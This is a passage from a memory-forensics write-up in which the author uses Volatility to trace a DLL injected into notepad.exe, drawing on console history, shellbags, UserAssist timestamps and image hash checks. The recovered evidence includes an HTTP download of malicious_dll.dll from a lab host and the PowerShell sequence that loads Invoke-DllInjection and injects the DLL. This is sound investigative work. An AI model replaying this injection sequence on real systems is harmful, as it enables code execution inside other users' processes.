GET /malicious_dll.dll HTTP/1.1
Accept: text/html,application/xhtml+xml, */*
Referer: http://192.168.111.131/
Accept-Language: en-US
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
```

Analyzing commands:

The next step was to **search** for any **commands** that were used to inject this file. By analyzing the input and output buffer, it's possible to get a clear picture of what command was executed and what was the output. It includes any **input** that was given and any **output** that was displayed after that. I used **consoles** plugin from volatility to retrieve the user input.

On analyzing the application name and commands, I found that sequence of **PowerShell** commands was executed to inject the DLL (malicious_dll.dll) into running process(notepad.exe).

From the output, I also found the notepad.exe **PID** (Process ID) preceded by command **Invoke-DLLInjection** and followed by the name of the downloaded **DLL** file(malicious_dll.dll).

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win8SP1x86 consoles
Volatility Foundation Volatility Framework 2.6.1
*****
ConsoleProcess: conhost.exe Pid: 2980
Console: 0xb8b1d8 CommandHistorySize: 50
HistoryBufferCount: 3 HistoryBufferMax: 4
OriginalTitle: Windows PowerShell
Title: Administrator: Windows PowerShell
----
CommandHistory: 0x31c4b58 Application: PING.EXE?????V Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
CommandHistory: 0x31c4258 Application: ipconfig.exe?????????????lags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
CommandHistory: 0x31c4160 Application: powershell.exe ?????????? Flags: Allocated, Reset
CommandCount: 15 LastAdded: 14 LastDisplayed: 14
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x3195dc0
Cmd #0 at 0x31c3000: Set-ExecutionPolicy unrestricted
Cmd #1 at 0x31c2860: Y
Cmd #2 at 0x31c1b58: ipconfig
Cmd #3 at 0x3195b58: ping 192.168.111.131
Cmd #4 at 0x31c8d48: cd ../../Users/TamilMathi
Cmd #5 at 0x31c28a0: dir
Cmd #6 at 0x31cc618: cd .\Downloads
Cmd #7 at 0x31c28b0: ls
Cmd #8 at 0x31c8d88: Import-Module .\Invoke-DllInjection.ps1
Cmd #9 at 0x31c2870: ps
Cmd #10 at 0x31c15f0: notepad
Cmd #11 at 0x31c2770: ps
Cmd #12 at 0x31c10c8: Invoke-DllInjection
Cmd #13 at 0x31c1770: 3452
Cmd #14 at 0x31c8de0: C:\Users\TamilMathi\Downloads\malicious_dll.dll
----
Screen 0x31a5cd8 X:4 Y:0
Dump:

*****
ConsoleProcess: conhost.exe Pid: 2136
Console: 0xb8b1d8 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: Administrator: C:\Windows\system32\cmd.exe
----
CommandHistory: 0x2db35e0 Application: whoami.exe\s?? Flags:
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
CommandHistory: 0x2db3418 Application: cmd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x2d95ec8
----
Screen 0x2da4cb0 X:2 Y:0
Dump:
```

Shellbags:

ShellBags in windows are used to store **folder's appearance** information such as size, dimensions, etc. Potential artifacts can be recovered using this shellbags information.

Since it's a memory analysis of shellbags instead of registry key where shellbags full information are stored, there is a limitation on the information that's available.

I retrieved the below information from the memory dump using volatility. It showed two folders called **EXPLORER & MY_COMPUTER**. But both are not relevant for this investigation.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81U1x86 shellbags
Volatility Foundation Volatility Framework 2.6.1
Scanning for registries....
Gathering shellbag items and building path tree...
*****
Registry: \??\C:\Users\TamilMathi\AppData\Local\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows\Shell\BagMRU
Last updated: 2020-04-23 20:08:02 UTC+0000
Value Mru Entry Type GUID GUID Description Folder IDs
-----
0 0 Folder Entry 20d04fe0-3aea-1069-a2d8-08002b30309d My Computer EXPLORER, MY_COMPUTER
*****
```

Userassist:

UserAssist is one of the registry keys that keeps track of the **applications** that are **launched** from **desktop**. Exploring this key from memory provides lots of potential artifacts that may speed up the progress of the investigation.

Whenever the GUI window regains focus, the **focus count** value is **incremented** by 1. Opening the window for the first time doesn't count. Another value that plays a major role in the investigation is **Time Focused**. It determines the time period during which the window is out of focus.

Volatility has the feature to carve out these values using **userassist** plugin. By examining the time and count precisely, the forensic examiner can decide which windows the user was working on at the time of crime.

```
root@siftworkstation:/home/sansforensics/Desktop/grad_research# vol.py -f Windows\ 8-Snapshot2.vmem --profile=Win81U1x86 userassist
Volatility Foundation Volatility Framework 2.6.1
-----
Registry: \??\C:\Users\TamilMathi\ntuser.dat
Path: Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{9E04CAB2-CC14-11DF-BB8C-A2F1DE072085}\Count
Last updated: 2020-04-23 19:50:05 UTC+0000

Subkeys:

Values:
-----
Registry: \??\C:\Users\TamilMathi\ntuser.dat
Path: Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{A3D53349-6E61-4557-8FC7-0028EDCEE6F6}\Count
Last updated: 2020-04-23 19:50:05 UTC+0000

Subkeys:

Values:
-----
Registry: \??\C:\Users\TamilMathi\ntuser.dat
Path: Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{B267E3AD-A825-4A09-82B9-EEC22AA3B847}\Count
Last updated: 2020-04-23 19:50:05 UTC+0000

Subkeys:

Values:
-----
Registry: \??\C:\Users\TamilMathi\ntuser.dat
Path: Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{BCB48336-4DDD-48FF-BB0B-D3190DACB3E2}\Count
Last updated: 2020-04-23 19:50:05 UTC+0000
```

For this case, the **notepad.exe** count is **1**. So, the notepad must have been opened/started by the user and DLL had been injected into the running notepad.exe process after it was started (1 minute later).

```
REG_BINARY    %windir%\system32\notepad.exe :
Count:        1
Focus Count:   2
Time Focused:  0:01:46.952000
Last updated:  2020-04-23 20:04:50 UTC+0000
Raw Data:
0x00000000  00 00 00 00 01 00 00 00 02 00 00 00 d4 9f 01 00  .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 40 dd 3d 72  .....@.=r
0x00000040  aa 19 d6 01 00 00 00 00  .....

REG_BINARY    Microsoft.Windows.Explorer :
Count:        0
Focus Count:   1
Time Focused:  0:00:11.563000
Last updated:  1970-01-01 00:00:00 UTC+0000
```

On analyzing the count of powershell.exe, it has been verified that PowerShell window was opened at least once, where the commands were executed.

The last updated **timestamp** for **PowerShell** is **19:50:43** which is **earlier** than **notepad.exe**'s timestamp. So, it's possible for the user to start PowerShell first followed by notepad and execute the command to inject the DLL.

```
Registry: \??\C:\Users\TamilMathi\ntuser.dat
Path: Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
Last updated: 2020-04-23 20:08:14 UTC+0000

Subkeys:

Values:

REG_BINARY    UEME_CTLCUACount:ctor :
Count:        0
Focus Count:   0
Time Focused:  0:00:00.500000
Last updated:  1970-01-01 00:00:00 UTC+0000
Raw Data:
0x00000000  ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00  .....
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 00 00 00 00  .....
0x00000040  00 00 00 00 00 00 00 00  .....

REG_BINARY    %windir%\system32\WindowsPowerShell\v1.0\powershell.exe :
Count:        2
Focus Count:   5
Time Focused:  0:04:33.265000
Last updated:  2020-04-23 19:50:43 UTC+0000
Raw Data:
0x00000000  00 00 00 00 02 00 00 00 05 00 00 00 7d 29 04 00  .....}})..
0x00000010  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000020  00 00 80 bf 00 00 80 bf 00 00 80 bf 00 00 80 bf  .....
0x00000030  00 00 80 bf 00 00 80 bf ff ff ff ff 10 d6 9c 79  .....y
0x00000040  a8 19 d6 01 00 00 00 00  .....

```

Conclusion:

After analyzing the image, I was able to find the injected process from the memory dump using volatility framework. I also leveraged memory of internet explorer, MFT table, network traffic data to find the injected DLL & process. I also presented the way the DLL was downloaded into the system. Finally, I made sure that data inside the image wasn't altered during analyzing phase. MD5 hash of the data match exactly to prove no data was modified.

```
Verify completed at: Apr 30, 2020 20:51:37

Read: 1.0 GiB (1073741824 bytes) in 9 second(s) with 113 MiB/s (119304647 bytes/
second).

MD5 hash stored in file:          77833f9b3d7104aad35d8a33cfbafa3f
MD5 hash calculated over data:    77833f9b3d7104aad35d8a33cfbafa3f

Additional hash values:
SHA1:  75615b6572c8e194bb1ba46b808bb3961eac0e8c

ewfverify: SUCCESS
```